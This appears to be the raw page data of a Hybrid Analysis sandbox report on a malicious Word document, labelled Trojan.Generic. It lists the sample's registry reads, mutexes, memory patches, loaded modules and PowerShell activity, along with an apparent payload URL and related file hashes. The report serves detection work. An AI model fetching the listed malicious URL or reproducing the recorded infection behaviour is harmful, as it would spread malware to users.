23:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 4c:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 22:T4bd,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 759fb4c0091a… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 759fb4c0091a…. Malware family: Trojan.Generic. Threat score 100/100. 11/28 AV engines flagged this file. 11 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6"],"about":{"@type":"SoftwareApplication","name":"759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.docx","applicationCategory":["docx","office"],"identifier":"759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":11,"total":28},"behavioralIndicators":{"malicious":11,"suspicious":26},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}24:T501,"WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINWORD.EXE") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINWORD.EXE") "WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ONEDRIVESETUP.EXE") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE40") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE5BAKEX")25:T491,"\Sessions\1\BaseNamedObjects\Local\x64_10MU_ACBPIDS_S-1-5-5-0-53749" "\Sessions\1\BaseNamedObjects\Local\x64_10MU_ACB10_S-1-5-5-0-53749" "\Sessions\1\BaseNamedObjects\Global\552FFA80-3393-423d-8671-7BA046BB5906" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Global\MsoShellExtRegAccess_S-1-5-21-686412048-2446563785-1323799475-1001" "\Sessions\1\BaseNamedObjects\Global\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001" "\Sessions\1\BaseNamedObjects\Global\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001" "Global\MsoShellExtRegAccess_S-1-5-21-686412048-2446563785-1323799475-1001" "Local\x64_10MU_ACB10_S-1-5-5-0-53749" "Local\ZonesCacheCounterMutex" "Global\552FFA80-3393-423d-8671-7BA046BB5906" "Global\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001" "Global\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001" "Local\x64_10MU_ACBPIDS_S-1-5-5-0-53749" "Local\ZonesLockedCacheCounterMutex" "\Sessions\1\BaseNamedObjects\RasPbFile" "\Sessions\1\BaseNamedObjects\Global\.net clr networking"26:T64a,"WINWORD.EXE" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "WINWORD.EXE" touched file "C:\Windows\Fonts\StaticCache.dat" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\user32.dll.mui" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db" "WINWORD.EXE" touched file "C:\Windows\System32\rsaenh.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui" "WINWORD.EXE" touched file "C:\Windows\System32\msxml6r.dll" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{74FCDC3D-E044-44D4-A476-696CFF3E81E7}.tmp" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\msctf.dll.mui" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D34328B0-6DD3-4645-B9D5-59A0B82F7D28}.tmp" "WINWORD.EXE" touched file "C:\Windows\System32\imageres.dll" "WINWORD.EXE" touched file "C:\Windows\AppPatch\AppPatch64\sysmain.sdb" "WINWORD.EXE" touched file "C:\Windows\System32\tzres.dll"27:T589,Pattern match: "http://sendmevideo.org/dh2025e/eee.txt" Pattern match: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata" Pattern match: "http://dmd.metaservices.microsoft.com/dms/metadata.svc" Heuristic match: "GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?03f6016dd354d10c HTTP/1.1Connection: Keep-AliveAccept: */*If-Modified-Since: Thu, 20 Apr 2017 16:02:20 GMTIf-None-Match: 04e707defb9d21:0User-Agent: Microsoft-CryptoAPI/6.1Hos" Heuristic match: "GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?cf154069b4c15413 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ctldl.windowsupdate.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD%2BOyl%2B0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCED141%2Fl2SWCyYX308B7Khio%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: s2.symcb.com" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa0" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx%2BJOp7hVgTeaGFJ%2FCQgQUljtT8Hkzl699g%2B8uK8zKt4YecmYCEBuN56dlW1Lzehhu%2FtdSD3U%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: sv.symcd.com" Pattern match: "http://www.symauth.com/cps0*" Pattern match: "www.microsoft.com" Heuristic match: "sendmevideo.org"28:T6ca,"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000401") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000402") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000403") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000404") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000405") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000406") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000407") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000408") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040A") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040B") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040C") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040D") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040E") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040F") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000410") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000411") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000412") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000413") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000414")29:T8ac,"WINWORD.EXE" wrote bytes "e9abc04a00cc" to virtual address "0xFD784060" (part of module "OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "e913b0e9ff" to virtual address "0xFDD950C0" (part of module "OLE32.DLL") "WINWORD.EXE" wrote bytes "7b87ba11e67dd301" to virtual address "0xF250FA00" (part of module "GFX.DLL") "WINWORD.EXE" wrote bytes "9a8dba11e67dd301" to virtual address "0xE82B2350" (part of module "OART.DLL") "WINWORD.EXE" wrote bytes "f5f2e117e67dd301" to virtual address "0x3F613258" (part of module "WINWORD.EXE") "WINWORD.EXE" wrote bytes "092b727fe77dd301" to virtual address "0xF76525D8" (part of module "MSPROOF7.DLL") "WINWORD.EXE" wrote bytes "51bbba11e67dd301" to virtual address "0xEA2B71C0" (part of module "WWLIB.DLL") "WINWORD.EXE" wrote bytes "e94b9f4a00cccccccccc" to virtual address "0xFD786230" (part of module "OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "48b8bc52bfe5fe070000ffe0" to virtual address "0x77329020" (part of module "KERNEL32.DLL") "WINWORD.EXE" wrote bytes "e933ef4a00cccc" to virtual address "0xFD781210" (part of module "OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "e933f04a00" to virtual address "0xFD781180" (part of module "OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "81be7010e67dd301" to virtual address "0xF2790160" (part of module "MSPTLS.DLL") "WINWORD.EXE" wrote bytes "4e44de11e67dd301" to virtual address "0xE700D610" (part of module "MSO.DLL") "WINWORD.EXE" wrote bytes "8f8d6b10e67dd301" to virtual address "0xF1EEDE48" (part of module "RICHED20.DLL") "powershell.exe" wrote bytes "654c8b1c2580150000" to virtual address "0xF141760D" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2580150000" to virtual address "0xF141755E" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2580150000" to virtual address "0xF1417480" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "669065488b042580150000c366669066669090" to virtual address "0xF1415B40" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2580150000" to virtual address "0xF14175B3" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "2893ae0200000000" to virtual address "0x71AC2650" (part of module "SYSTEM.DATA.DLL")2a:T7c1,"rundll32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "")2b:T723,"rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\8AD5C9987E6F190BD6F5416E2DE44CCD641D8CDA"; Key: "BLOB") "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135"; Key: "BLOB") "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")2c:T50e,Found malicious artifacts related to "172.217.22.46" (ASN: , Owner: ): ... File SHA256: afa79df610608282a2da8cca3ac51047e8f108ffbab82a1d5af1585e7afec4dd (Scanned on 11/02/2017 03:36:48) File SHA256: 832c95211cf1468928ef9c2baedd3819823a5fee08b26c1ae476013c21013aa1 (Scanned on 11/01/2017 10:10:31) File SHA256: 063f6a44ef21a0070c3c9df83256888b4db458702660afe19656a83a70421f64 (Scanned on 10/31/2017 12:36:43) File SHA256: c572ddb5afa6a2db79a1f81f2a8f8fc09d7af892b19e2ae4d09e2edc9b0eb49c (Scanned on 10/31/2017 12:35:50) File SHA256: 9637efe25201e7e0d3b89d3a1af575e07520a7fe18776709d6c8fe5492a4920f (Scanned on 10/31/2017 11:56:35) File SHA256: 5a9c7c960f40ba72cbe5cf8f90d281fad1ea1a42dffadead60e05f0267d4da42 (AV positives: 1/64 scanned on 08/27/2017 14:18:25) File SHA256: 0bcfbe22f59244d81a1125678872f04dd460251a474ca612b5e982f8ddfd2cae (AV positives: 55/65 scanned on 08/12/2017 21:03:58) File SHA256: b7c59bc5ec3f6cc36daab5eeea97fb4bda030b69e2098c52636a130a509a92e1 (AV positives: 55/65 scanned on 08/12/2017 20:12:58) File SHA256: 51639dec03d97949ee1bd4653719224ff544177820f9982251688f40e972b58a (AV positives: 54/64 scanned on 08/12/2017 20:09:28) File SHA256: 8de2e53da7cfdbfb3e32a54be4ed74df629c12804bfa161d188ce211d5e1b094 (AV positives: 55/65 scanned on 08/12/2017 19:59:27)2d:T1909,"WINWORD.EXE" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb4ebb0000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb4ebb0000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb4ebb0000 "WINWORD.EXE" loaded module "KERNEL32" at base 7ffb50230000 "WINWORD.EXE" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffb22030000 "WINWORD.EXE" loaded module "IMM32.DLL" at base 7ffb50690000 "WINWORD.EXE" loaded module "COMCTL32.DLL" at base 7ffb222f0000 "WINWORD.EXE" loaded module "WWLIB.DLL" at base 7ffb113b0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSO.DLL" at base 7ffb08220000 "WINWORD.EXE" loaded module "MSO.DLL" at base 7ffb08220000 "WINWORD.EXE" loaded module "COMCTL32.DLL" at base 7ffb38860000 "WINWORD.EXE" loaded module "KERNEL32.DLL" at base 7ffb50230000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\CULTURES\OFFICE.ODF" at base 2800000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\1033\WWINTL.DLL" at base 2c80000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffb4bf00000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\1033\MSOINTL.DLL" at base 2f00000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSORES.DLL" at base 3170000 "WINWORD.EXE" loaded module "DWMAPI.DLL" at base 7ffb4c310000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffb50590000 "WINWORD.EXE" loaded module "SRPAPI.DLL" at base 7ffb2eea0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffb50230000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSPTLS.DLL" at base 7ffb18760000 "WINWORD.EXE" loaded module "UXTHEME.DLL" at base 7ffb4bf00000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\RICHED20.DLL" at base 7ffb16d40000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 7ffb1f8d0000 "WINWORD.EXE" loaded module "ADVAPI32.DLL" at base 7ffb50590000 "WINWORD.EXE" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffb1a0b0000 "WINWORD.EXE" loaded module "SHLWAPI.DLL" at base 7ffb506d0000 "WINWORD.EXE" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffb4d920000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICESOFTWAREPROTECTIONPLATFORM\OSPPC.DLL" at base 62f50000 "WINWORD.EXE" loaded module "RPCRT4.DLL" at base 7ffb4fad0000 "WINWORD.EXE" loaded module "WINSPOOL.DRV" at base 7ffb1c7f0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 7ffb49f20000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 7ffb47000000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffb4ea40000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffb43d00000 "WINWORD.EXE" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ffb40f60000 "WINWORD.EXE" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base 7ffb17890000 "WINWORD.EXE" loaded module "USER32.DLL" at base 7ffb4fbf0000 "WINWORD.EXE" loaded module "SHELL32.DLL" at base 7ffb50730000 "WINWORD.EXE" loaded module "POWRPROF.DLL" at base 7ffb4e7a0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ffb48490000 "WINWORD.EXE" loaded module "OLEAUT32.DLL" at base 7ffb4f910000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 7ffb3f610000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ffb3c1c0000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffb4ebb0000 "WINWORD.EXE" loaded module "SSPICLI.DLL" at base 7ffb4db70000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\WPFT532.CNV" at base 7ffb2c590000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\MSCONV97.DLL" at base 7ffb2ff60000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\WPFT632.CNV" at base 7ffb2c580000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WINDOWS.SYSTEM.LAUNCHER.DLL" at base 7ffb45050000 "WINWORD.EXE" loaded module "VERSION.DLL" at base 7ffb43d00000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 7ffb4f7d0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 7ffb4c310000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\WWLIB.DLL" at base 7ffb113b0000 "WINWORD.EXE" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 7ffb50390000 "WINWORD.EXE" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 7ffb4fbf0000 "WINWORD.EXE" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 7ffb4fbf0000 "WINWORD.EXE" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 7ffb50590000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 7ffb4f630000 "WINWORD.EXE" loaded module "GDI32.DLL" at base 7ffb50640000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\USP10.DLL" at base 62a20000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\DATAEXCHANGE.DLL" at base 7ffb33810000 "WINWORD.EXE" loaded module "VIRTDISK.DLL" at base 7ffb2e5b0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffb4c8d0000 "WINWORD.EXE" loaded module "CSCAPI.DLL" at base 7ffb3ebd0000 "WINWORD.EXE" loaded module "GDIPLUS.DLL" at base 7ffb19e40000 "WINWORD.EXE" loaded module "%WINDIR%\WINSXS\AMD64_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.22621.1635_NONE_57FA636ACE18905C\GDIPLUS.DLL" at base 7ffb19e40000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\USP10.DLL" at base 0 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\MSPROOF7.DLL" at base 7ffb28b30000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffb4d890000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICESOFTWAREPROTECTIONPLATFORM\OSPPCEXT.DLL" at base 62850000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\PROOF\1033\MSGR3EN.DLL" at base 7ffb07d00000 "WINWORD.EXE" loaded module "OLE32.DLL" at base 7ffb4f6300002e:T681,"WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: 